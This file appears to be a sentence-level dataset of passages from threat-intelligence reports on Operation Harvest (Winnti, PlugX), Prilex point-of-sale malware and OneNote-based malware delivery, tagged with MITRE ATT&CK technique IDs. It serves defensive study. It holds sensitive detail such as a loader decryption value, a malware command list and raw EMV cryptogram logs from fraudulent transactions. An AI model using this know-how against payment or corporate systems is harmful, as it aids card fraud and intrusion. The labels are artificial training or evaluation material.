{"sentence": "The Winnti group was added by us since we discovered the unique encryption function in the custom backdoor and indicators of the use of the Winnti malware.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 6 ATT&CK technique comparison The diagram reflecting our outcome insinuated that APT27 and APT41 are the most likely candidates that overlap with the (sub-)techniques we observed.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Since all these groups are in a certain time zone, we extracted all timestamps from the forensic investigation with regards to: Registration of domain Compile timestamps of malware (considering deception) Timestamps of command-line activity Timestamps of data exfiltration Timestamps of malware interaction such as creation, deletion, etc.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When we converted all these timestamps from UTC to the aforementioned groups’ time zones, we ended up with the below scheme on activity: Figure 7 Adversary’s time of operation In this campaign, we observed how the adversary mostly seems to work from Monday to Thursday and typically during office hours, albeit with the occasional exception.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Correlating ATT&CK (sub-)techniques, timestamps, and tools like PlugX and Mimikatz are not the only evidence indicators that can help to identify a possible adversary.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The bottom part of the pyramid is about hashes, URLs, and domains, areas that are very volatile and easy to change by an adversary.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 8 Pyramid of Pain Beyond investigating those artifacts, we also took possible geopolitical interests and potential deception into consideration when building our hypothesis.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When we mapped out all of these, we believed that one of the two previously mentioned groups were responsible for the campaign we investigated.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Our focus was not about attribution though, but more around where the flow of the attack is, matches against previous attack flows from groups, and what techniques/tools they are using to block next steps, or where to locate them.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The more details we can gather at the top of ‘the pyramid of pain’, the better we can determine the likely adversary and its TTP’s.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "That’s all Folks!", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Well, not really.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "While correlating the observed (sub-)techniques, the malware families and code, we discovered another targeted attack against a similar target in the same nation with the major motivation of gathering intelligence.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In the following diagram we conducted a high-level comparison of the tools being used by the adversary: Figure 9 Tools comparison Although some of the tools are unique to each campaign, if taken into consideration over time with when they were used, it makes sense.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "It demonstrates the development of the actor and use of newer tools to conduct lateral movement and to obtain the required level of user rights on systems.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Overall, we observed the same modus operandi.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Once an initial foothold was established, the adversary would deploy PlugX initially to create a few backdoors in the victim’s network in case they were discovered early on.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After that, using Mimikatz and dumping lsass, they were looking to get valid accounts.", "labels": ["T1003.001", "T1078"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Once valid accounts were acquired, several tools including some of their own tools were used to gain information about the victim’s network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "From there, several shares/servers were accessed, and information gathered.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "That information was exfiltrated as rar files and placed on an internet-facing server to hide in the ‘normal’ traffic.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We represent that in the following graphic: Figure 10 Attack flow In the 2019/2020 case we also observed the use of a malware sample that we would classify as part of the Winnti malware family.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The Winnti loader ‘Ins64.exe’ uses the value ‘E370AA8DA0’ to decrypt the payload from the .dat file using the AES-256-CTR decryption algorithm and starts to execute.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After executing this command and analyzing the memory, we observed a process injection in one of the svchost processes whereby one particular file was loaded from the following path: C:\\programdata\\microsoft\\windows\\caches\\ieupdate.dll Figure 11", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Memory capture The malware started to open up both UDP and TCP ports to connect with a C2 server.", "labels": ["T1095"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In the above screenshot the numbers after “POST /” were randomly generated.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The User-Agent is a good network indicator to identify the Winnti malware since it is used in multiple variants: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 Indeed, the same User Agent value was discovered in the Winnti sample in Operation Harvest and seems to be typical for this malware family.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The cookie value consists of four Dword hex values that contain information about the customized packet size using a XOR value.", "labels": ["T1573.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We learned more about the packet structure of Winnti from this link.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Applying what we learned about the handshake, we observed the following in our traffic sample: Dword value 0", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Timeline of Events When analyzing the timestamps from this investigation, like we did for operation Harvest, we came to the below overview: Figure 14 Beijing working hours case 2019/2020 Again, we observed that the adversary was operating Monday to Friday during office hours in the Beijing time-zone.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Conclusion Operation Harvest has been a long-term operation whereby an adversary maintained access for multiple years to exfiltrate data.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The exfiltrated data would have either been part of an intellectual property theft for economic purposes and/or would have provided insights that would be beneficial in case of military interventions.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Combining all forensic artifacts and cross-correlation with historical and geopolitical data, we have high confidence that this operation was executed by an experienced APT actor.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After mapping out all data, TTP’s etc., we discovered a very strong overlap with a campaign observed in 2019/2020.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Within every nation-state cyber-offensive activity, there will be a department/unit responsible for the creation of the tools/malware, etc.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Whether we put name ‘X’ or ‘Y’ on the adversary, we strongly believe that we are dealing with a Chinese actor whose long-term objectives are persistence in their victims’ networks and the acquisition of the intelligence needed to make political/strategic or manufacturing decisions.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "MITRE ATT&CK Techniques Technique ID Technique Title Context Campaign T1190 Exploit Public-facing application Adversary exploited a web-facing server with application T1105 Ingress Tool transfer Tools were transferred to a compromised web-facing server T1083 File & Directory Discovery Adversary browsed several locations to search for the data they were after.", "labels": ["T1083", "T1105", "T1190"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "T1574.002 Hijack Execution Flow: DLL Side-Loading Adversary used PlugX malware that is famous for DLL-Side-Loading using a valid executable, a DLL with the hook towards a payload file.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "T1543.003 Create or Modify System Process: Windows Service Adversary launched backdoor and some tools as a Windows Service including adding of registry keys T1546.003 Event-Triggered Execution: WMI Event Subscription WMI was used for running commands on remote systems T1053.005 Scheduled task Adversary ran scheduled tasks for persistence of certain malware samples T1078 Valid accounts Using Mimikatz and dumping of lsass, the adversary gained credentials in the network T1020 Automated exfiltration The PlugX malware exfiltrated data towards a C2 and received commands to gather more information about the victim’s compromised host. T1030 Data transfer size limits Adversary limited the size of rar files for exfiltration T1070.004 Indicator removal on host Where in the beginning of the campaign the adversary was sloppy, during the last months of activity they became more careful and started to remove evidence T1041 Exfiltration over C2 channel Adversary used several C2 domains to interact with compromised hosts.", "labels": ["T1003.001", "T1027", "T1041", "T1047", "T1053.005", "T1078", "T1112", "T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Prilex is a Brazilian threat actor that has evolved out of ATM-focused malware into modular point-of-sale malware.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The group was behind one of the largest attacks on ATMs in the country, infecting and jackpotting more than 1,000 machines, while also cloning in excess of 28,000 credit cards that were used in these ATMs before the big heist.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Active since 2014, in 2016, the group decided to give up ATM malware and focus all of their attacks on PoS systems, targeting the core of the payment industry.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "These are criminals with extensive knowledge of the payment market, and EFT software and protocols.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Since then, we have been tracking the threat actor’s every move, witnessing the damages and great financial losses they brought upon the payments industry.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The Prilex PoS malware evolved out of a simple memory scraper into very advanced and complex malware, dealing directly with the PIN pad hardware protocol instead of using higher level APIs, doing real-time patching in target software, hooking operating system libraries, messing with replies, communications and ports, and switching from a replay-based attack to generate cryptograms for its GHOST transactions even from credit cards protected with CHIP and PIN technology.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "It all started with ATMs during a carnival celebration During the carnival of 2016, a Brazilian bank realized that their ATMs had been hacked, with all the cash contained in those machines stolen.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "According to reports from law enforcement agencies, the criminals behind the attack were able to infect more than 1,000 machines belonging to one bank in the same incident, which allowed them to clone 28,000 unique credit cards across Brazil.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "By opening a backdoor, they were able to hijack the institution’s wireless connection and target ATMs at will.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "With that information in hand, the attackers would launch a lateral movement phase, using default Windows credentials and then installing custom-crafted malware in the desired systems.", "labels": ["T1078"], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The backdoor would allow the attacker to empty the ATM socket by launching the malware interface and typing a code supplied by the mastermind, the code being specific to each ATM being hacked.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Besides its capability to perform a jackpot, the malware was also capable of capturing information from magnetic strips on credit and debit cards inserted into the infected ATMs.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The first two samples had 2010/2011 as the compilation date, as shown on the graph below.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "However, we believe that invalid compilation dates were set due to incorrect system date and time settings.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "In later versions, the timestamps corresponded to the times when the samples were discovered.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "We also noticed that in the 2022 branch, the developers started using Subversion as the version control system.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Versions of the Prilex PoS malware: 3 new versions in 2022 (download)", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "As we see on the graph, Prilex was highly active in 2020, but suddenly disappeared in 2021, resurfacing in 2022 with a release of three new variants.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "In a nutshell, this is an intermediate step between high-level instructions in a Visual Basic program and the low-level native code executed by a CPU.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "We saw a weak link with the old Trojan-Spy.Win32.SPSniffer, which we described in 2010: both families are able to intercept signals from PIN pads, but use different approaches in doing so. PIN pads are equipped with hardware and security features to ensure that security keys are erased if someone tries to tamper with the device.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "In fact, the PIN is encrypted in the device upon entry using a variety of encryption schemes and symmetric keys.", "labels": ["T1573.001"], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Most often, this is a triple DES encoder, making it hard to crack the PIN.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "There is a problem, though: these devices are always connected to a computer via a USB or serial port, which communicates with the EFT software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Older and outdated PIN pad devices use obsolete and weak cryptography schemes, making it easy for malware to install a USB or serial port sniffer to capture and decrypt the traffic between the PIN pad and the infected system.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "This is how SPSniffer gets credit card data.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The main approach used by Prilex for capturing credit card data is to use a patch in the PoS system libraries, allowing the malware to collect data transmitted by the software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The malware will look for the location of a particular set of executables and libraries in order to apply the patch, thus overwriting the original code.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "With the patch in place, the malware collects the data from TRACK2, such as the account number and expiration date, in addition to other cardholder information needed to perform fraudulent transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Initial infection vector Prilex is not a widespread type of malware, as it is not distributed through email spam campaigns.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Warning from a PoS vendor about Prilex social engineering attacks Messing with the EMV standard Brazil began migrating to EMV in 1999, and today, nearly all cards issued in the country are chip enabled.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "A small Java-based application lives inside the chip and can be easily manipulated in order to create a “golden ticket” card that will be valid in most—if not all—point-of-sale systems.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "This knowledge has enabled the criminals to upgrade their toolset, allowing them to create their own cards featuring this new technology and keeping them “in the business.”", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The initial versions of Prilex were capable of performing the “replay attack,” where, rather than breaking the EMV protocol, they instead took advantage of poor implementations.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Since payment operators fail to perform some of the validations required by the EMV standard, criminals can exploit this vulnerability within the process to their benefit.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "In this kind of attack, fraudsters push regular magnetic stripe transactions through the card network as EMV purchases, as they are in control of a payment terminal and have the ability to manipulate data fields for transactions put through that terminal.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The thieves could insert stolen card data into the transaction stream, while modifying the merchant and acquirer bank account on the fly.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Brazilian cybercriminals have successfully launched replay attacks since at least 2014.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "As pointed out by Brian Krebs, a small financial institution in New England battled some $120,000 in fraudulent charges from Brazilian stores within less than two days.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "All of the fraudulent transactions were debit charges.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "All of them came across MasterCard’s network and appeared to be chip transactions without a PIN to MasterCard’s systems.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Also worth mentioning is the attack against a German bank in 2019, which registered €1.5 million in losses and used the same technique.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The Prilex gang claimed responsibility.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Judging by the name fields and the functionality of the tool, they probably used the software they are selling in the black market.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "To automate attacks using cloned credit cards, Prilex criminals used tools like Xiello, discovered by our telemetry in 2020.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "This tool allows the cybercriminals to use credit cards in a batch when making fraudulent purchases.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "As the payment industry and credit card issuers fixed EMV implementation errors, replay attacks became obsolete and ineffective, pushing the Prilex gang to innovate and adopt other ways of credit card fraud.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "From “Replay” to “Ghost” The latest versions of Prilex show certain differences to previous ones in the way the attack occurs: the group has switched from the replay attacks to fraudulent transactions using cryptograms generated by the victim card during the in-store payment process, referred to by the malware authors as “GHOST transactions.”", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "In these attacks, the Prilex samples were installed in the system as RAR SFX executables that extracted all required files to the malware directory and executed the installation scripts (VBS files).", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "From the installed files, we can highlight three modules used in the campaign: a backdoor, which is unchanged in this version except for the C2 servers used for communication; a stealer module; and an uploader module.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Once it identifies a running transaction, the malware will intercept and modify the content of the transaction in order to be able to capture the card information and to request new EMV cryptograms to the victim’s card.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "These cryptograms are then used in the GHOST transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Method used to parse the PIN pad messages sent/received In order to target a specific process, the criminals will perform an initial screening of the machine—to check if it is an interesting target with enough credit card transactions and to identify the process they will target.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "After the process is identified, the malware will move forward to install the hooks needed to intercept the transaction information.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Interestingly enough, instead of allocating memory to the hook procedure, Prilex finds free space within the modules memory, a technique called code cave, making it hard for some security solutions to detect the threat in an infected system.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Hook code added into CloseHandle process All captured information from the transaction is saved to an encrypted file placed in a directory previously set by the malware configuration.", "labels": ["T1074.001"], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Those files will later be sent to the malware C2 server, allowing the cybercriminals to make transactions through a fraudulent PoS device registered in the name of a fake company.", "labels": ["T1041"], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Captured credit card data that will be later sent to the operator server The previous version monitored the transaction in order to get the cryptogram, generated by the card for the original transaction, and then to perform a replay attack using the collected cryptogram.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "In this case, the cryptogram has the same ATC (Application Transaction Counter), allowing the fraudulent transaction to be identified by the reuse of the ATC as well as the fact that the date inside the cryptogram did not match the date when it was submitted, as the fraudulent transactions were submitted at a later point in time.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "In GHOST attacks performed by the newer versions of Prilex, it requests new EMV cryptograms after capturing the transaction.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "These cryptograms will then be used in a fraudulent transaction through one of the cybercrime tools whose output log can be seen below.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "[START GHOST] _ 80CA9F17 |9F1701039000 | 002000800826435643FFFFFFFF", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "| 80AE80001D00000000010000000000000000760000008000098620060600B4E5C6EB -> Generate AC80128000AA5EA486052A8886DE06050A03A4B8009000 -> Generated ARQC[END GHOST]", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "It contains the Authorization Request Cryptogram (ARQC) that was generated by the card and should now be approved by the card issuer.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Data Field details 80 12 Size of the response: 18 bytes 80 Cryptogram Information Data: ARQC (Authorization Request Cryptogram): go and ask the issuer 00AA ATC: Application Transaction Counter 5EA486052A8886DE Application Cryptogram 06050A03A4B800 Issuer Application Data 9000 Response OK", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "[START GHOST] 80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D00000000010000000000000000760000008000098620060600B4E5C6EB80128000AA5EA486052A8886DE06050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "[END GHOST]", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "[START GHOST] 80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D0000000020000000000000000076000000800009862006060007EBA76480128000AC5E1E75557CC57E1206050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D000000003000000000000000007600000080000986200606002598491680128000ADCF54C11A58083ADB06050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "It is highly likely that this was used to understand target software behavior and perform adjustments on the malware or environment to perform fraudulent transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Older versions of Prilex performed patching on specific software libraries, whereas newer samples do not rely on specific software anymore and will instead hook Windows APIs to perform its job.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The Prilex debugger Here’s a list of commands used in the ATM version of Prilex, which include debugging:", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Reboot, SendKeys, ShowForm, Inject, UnInject, HideForm, Recursos, GetZip, SetStartup, PausaProcesso, LiberaProcesso, Debug, SendSnapShot, GetStartup, CapRegion, CapFerro, KillProcess, Shell, Process, GetModules, GetConfig, StartSendScreen, StopSendScreen, ReLogin, StartScan, GetKey, SetConfig, RefreshScreen, Download, TakeRegions, Enviar Arquivo, ScanProcessStart, ScanProcessStop, StartRegiao, StopRegiao, StartDownload, StopDownload.", "labels": ["T1105", "T1113"], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Numerous available commands are for general use, allowing the criminals to collect information about the infected machine.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The endpoint used by the module is also mentioned in the uploader configuration file.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "This uploader allows the operator to set the endpoint for the collected information as indicated in the configuration file; judging from the samples analyzed, it is possible to see a different infrastructure involved in the process.", "labels": ["T1041"], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "We have little confidence in these claims: the site could be operated by copycats trying to impersonate the group and catch some money using the reputation Prilex has earned over the years.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "This website was still up and running at the time of writing this.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The asking price for what is supposedly a Prilex PoS kit is $3,500.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The website says its owners have worked with Russian cybercriminals in the past, another claim we cannot confirm.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Conclusions The Prilex group has shown a high level of knowledge about credit and debit card transactions, and how software used for payment processing works.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Over years of activity, the group has changed its attack techniques a lot.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "Considering that, we strongly suggest that PoS software developers implement self-protection techniques in their modules, such as the protection available through our Kaspersky SDK, aiming to prevent malicious code from tampering with the transactions managed by those modules.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "All EMV validations must be implemented!", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "To financial institutions who fell victims to this kind of fraud, we recommend our Kaspersky Threat Attribution Engine to help IR teams with finding and detecting Prilex files in attacked environments.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "The Prilex family is detected by all Kaspersky products as HEUR:Trojan.Win32.Prilex and HEUR:Trojan.Win64.Prilex.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "More details about the threat and a full analysis is available to customers of our Threat Intelligence Reports.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "With any requests about our private reports, please contact crimewareintel@kaspersky.com.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"}
{"sentence": "It is a note-taking app that allows collaboration across organizations while enabling users to embed files and other artifacts.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "It is installed by default in Microsoft Office 2021 and Microsoft 365.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Malicious Actors are always trying to find new ways in to infect their victims.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Such as their shift to LNK files after Microsoft introduced a policy change disabled office macros by default.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Due to a feature that allows users to attach files to OneNote documents it makes them a good alternative to LNK files as distribution vehicle to deploy their malware.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "This blog contains analysis on how OneNote documents are used malicious and two specific campaigns that made use of OneNote documents to download and execute the Qakbot malware.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "OneNote Campaigns in the wild Figure 1 Campaign Heatmap Figure 1 shows the geo wise distribution of McAfee customers detecting malicious OneNote files.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Based on the telemetry from our endpoints we have identified the following threat families deployed through OneNote documents: Iceid Qakbot RedLine AsyncRat Remcos AgentTesla QuasarRAT XWORM Netwire Formbook Doubleback Overview Of Malicious OneNote Documents A holistic view of the phishing campaigns that weaponize OneNote document is shown in Figure 2 below.", "labels": ["T1566.001"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "These types of themes are more likely to be opened by the vicim.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "An example email body and attachment is shown in Figure 3 and 4. Figure 3 Email Body Figure 4 Attachment A Deep Dive into OneNote File Format File Header To understand how the data is laid out in the file, we need to examine it at byte level.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Taking a close look at OneNote document gives us an interesting observation as its magic bytes for the header is not a trivial one.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 5 shows the first 16 bytes of the document binary.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 5 OneNote Header", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 6 shows header information taken from the OneNote specification document.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The structure that holds the data is shown below: guidHeader (16 bytes) Size: 16 bytes Value: {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC} cbLength Size: 8 bytes Value:", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Size of the data unused Size: 4 bytes reserved Size: 8 bytes FileData Size: Variable guidFooter Size: 16 bytes Value: {71FBA722-0F79-4A0B-BB13-899256426B24}", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The FileData member of the FileDataStoreObject is the key member that holds the embedded data in the OneNote document.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Figure 7 shows the “on disk” representation of the FileDataStoreObject This is taken from a malicious OneNote document used to spread the Qakbot payload.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "The guidHeader for the data object is highlighted in yellow and the data is shown in red.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "As it is evident from the image the data represents a text file which is a script to launch PowerShell.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Now we have an idea of what the data object is, with this knowledge we can automate the process of extracting embedded artifacts for further analysis from the OneNote document by following the below algorithm.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Search for FileDataStoreObject GUID in the binary.", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Interpret the FileDataStoreObject structure Retrieve cbLength member (size of the data represented by FileDataStoreObject)", "labels": [], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
{"sentence": "Dump the bytes read on to disk Repeat above steps for every FileDataStoreObject present in the binary Embedded Executable Objects In OneNote Execution Of Embedded Entities Looking at the runtime characteristics of OneNote Desktop application we have observed that when an embedded file gets executed by the user, it is stored temporarily in the OneNote directory in the User’s Temp location.", "labels": ["T1027"], "doc_title": "The Rising Trend of OneNote Documents for Malware delivery"}
